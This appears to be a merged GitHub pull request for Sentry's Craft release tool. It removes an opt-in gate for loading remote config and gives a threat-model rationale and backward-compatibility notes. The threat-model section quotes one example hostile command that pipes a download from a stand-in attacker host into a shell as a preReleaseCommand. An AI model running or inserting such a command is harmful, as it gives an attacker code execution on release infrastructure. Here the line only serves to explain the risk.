fix(prepare): remove --allow-remote-config gate#809
Merged
Conversation
PR #794 added `--allow-remote-config` (and `CRAFT_ALLOW_REMOTE_CONFIG=1`) as a required opt-in for `--config-from <branch>`, reasoning that remotely-fetched `.craft.yml` is untrusted input which can execute arbitrary commands via `preReleaseCommand`. In practice the gate protects against ~0 real attacks and breaks the one legitimate use case: - The composite `getsentry/craft` action (`action.yml`) wires `--config-from` from its `craft_config_from_merge_target` + `merge_target` inputs but never passes the opt-in. Users reporting that `craft_config_from_merge_target: true` fails since Craft 2.25.5 are correct — the action has been broken for every consumer that opts in. - The branch passed to `--config-from` is chosen by the release workflow author (in `release.yml` / `action.yml`), who lives on a protected branch. A PR contributor cannot influence either the workflow inputs or the branch name without first landing changes on that protected branch. The realistic attack window is "release-workflow author is careless" which a per-flag gate doesn't address. - The broader class of risk — `.craft.yml`'s `preReleaseCommand` being attacker-controlled via a PR to the local repo — is already present whether or not `--config-from` is used, and is mitigated by the env allowlist in `buildReleaseCommandEnv`. The gate added friction without adding defence. Delete the option, the `assertRemoteConfigAllowed` helper, the three unit tests, and the unused imports. No change to the callsite except dropping the gate check and downgrading the opt-in warning to an info log describing the source branch.
CHANGELOG.md is auto-generated from PR descriptions by the release tooling (see the #793, #807, #805 entries in CHANGELOG.md for examples where release-note titles contain `_*` sequences that prettier wants escaped to `\*`). Every time a release cuts new entries matching those patterns the format-check starts failing on every open PR against master until someone runs a manual fixup. Exclude the file from prettier so the release tooling is the sole authority on its contents.
- AGENTS.md: rewrite the stale `--config-from gated behind --allow-remote-config` decision entry to reflect that the gate is removed in #809, including the rationale and a warning to future maintainers not to resurrect it. - AGENTS.md: drop the now-stale `complements the --allow-remote-config gate` reference in the .craft.yml-discovery entry. - src/commands/prepare.ts: promote the remote-config load log from logger.info to logger.warn. The old gate emitted a loud warning at the execution site; removing the hard gate shouldn't also remove the user-visible reminder that a remote preReleaseCommand is about to run. Warn-level log preserves the observability without blocking.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Removes the
--allow-remote-config/CRAFT_ALLOW_REMOTE_CONFIG=1gate added in #794. The gate is broken in the canonicalgetsentry/craftcomposite action (see below) and the marginal defence-in-depth it provided does not justify the breakage.This reverts a security feature shipped in Craft 2.25.5, so the "why" below is deliberately explicit.
The bug users are hitting
action.yml:162-165constructs:It passes
--config-frombut never passes--allow-remote-config. Every consumer who setcraft_config_from_merge_target: trueafter Craft 2.25.5 has been hittingConfigurationErrorwith a message telling them to pass a flag they cannot pass. The user complaint that prompted this PR is one such case.Why total removal rather than a 1-line passthrough in action.yml
The most obvious alternative is to add
--allow-remote-configtoCRAFT_ARGSinaction.ymlwhencraft_config_from_merge_target: true. That was considered and rejected:craft_config_from_merge_target: true" already is the opt-in ceremony. A second opt-in that the composite action always supplies in lockstep is friction with no signal.craft prepare --config-from …without the action). Those invocations are rare and the ceremony value is marginal; alogger.warnat the execution site (kept in this PR) tells them what's happening without blocking.So the choice is: delete the flag, rely on the
logger.warnreminder + release-workflow-author discipline + the env allowlist (which limits but does not eliminate what a maliciouspreReleaseCommandcan exfiltrate).Honest threat-model discussion
The original gate (#794) rationale was: "remotely-fetched
.craft.ymlis untrusted input that can execute arbitrary commands viapreReleaseCommand." That framing overstates what the gate actually defends:--config-fromis, in every realistic caller I have audited, chosen by the release workflow author on a protected branch. Forgetsentry/craft+getsentry/publishit's themerge_targetinput sourced fromworkflow_call/workflow_dispatch(not from PR-controllable state). PR contributors cannot influence it without first landing changes on the protected branch. For third-party consumers the trust boundary depends on their workflow shape — they are responsible for not wiring PR-controllable input tomerge_target..craft.yml→preReleaseCommand→ RCE vector exists independently of--config-from. Everycraft preparerun reads.craft.ymlfromcwd; if a PR modifiescwd's.craft.ymland lands on the release branch, the malicious command runs regardless of whether--config-fromis used.buildReleaseCommandEnvallowlist (PR fix(security): disable .craft.env reading and harden release subprocess env #794 / security(release-env): allowlist GITHUB_* and RUNNER_* by prefix #807) limits what a maliciouspreReleaseCommandcan exfiltrate (by stripping most secret env vars from the subprocess env); it does not prevent arbitrary command execution itself. ApreReleaseCommand: "curl evil.example.com | sh"still runs, still has network, and still has access to whatever is on the allowlist (includingGITHUB_TOKEN). The gate was never the thing standing between an attacker and RCE; it just forced them to pick the local-file vector instead of the remote one.Given both vectors carry identical risk and the remote one was gated but not the local one, the gate added friction without closing the class of risk it claimed to defend.
Change
--allow-remote-configoption from the yargsbuilderinsrc/commands/prepare.ts.allowRemoteConfigfromPrepareOptions.assertRemoteConfigAllowedhelper.prepareMain. Kept alogger.warnat the execution site reminding the operator that the remotepreReleaseCommandwill be executed.Backward-compat notes:
CRAFT_ALLOW_REMOTE_CONFIG=1in their env: the var is silently ignored after this PR (yargs's.env('CRAFT')only binds env vars with matching options). No breakage.--allow-remote-configas a CLI flag: yargs's.strictCommands()(not.strict()) ignores unknown options. No breakage.Bundled:
ci: exclude CHANGELOG.md from prettierSeparate commit in this PR.
CHANGELOG.mdis auto-generated from PR descriptions by the release tooling; entries like(release-env) Allowlist GITHUB_* and RUNNER_* by prefixcontain markdown prettier wants to re-escape (_*→\*) every time a release cuts. This has been failing the format-check on every PR against master since the 2.26.0 release entry landed. AddingCHANGELOG.mdto.prettierignorelets the release tooling be the sole authority on its contents.Technically orthogonal to the gate removal but bundled here because (a) without it, this PR's CI fails on a pre-existing master problem, (b) the fix is 6 lines of
.prettierignore, (c) splitting would add calendar-time blocking for both PRs. Mentioned explicitly so reviewers aren't surprised by the scope.Tests
pnpm test src/commands/__tests__/prepare.test.ts→ 8 tests pass (was 11; the 3assertRemoteConfigAllowedtests are deleted along with the helper).Full suite: 993 pass; same 7 pre-existing e2e failures unrelated to this change.
Lint / build / prettier clean.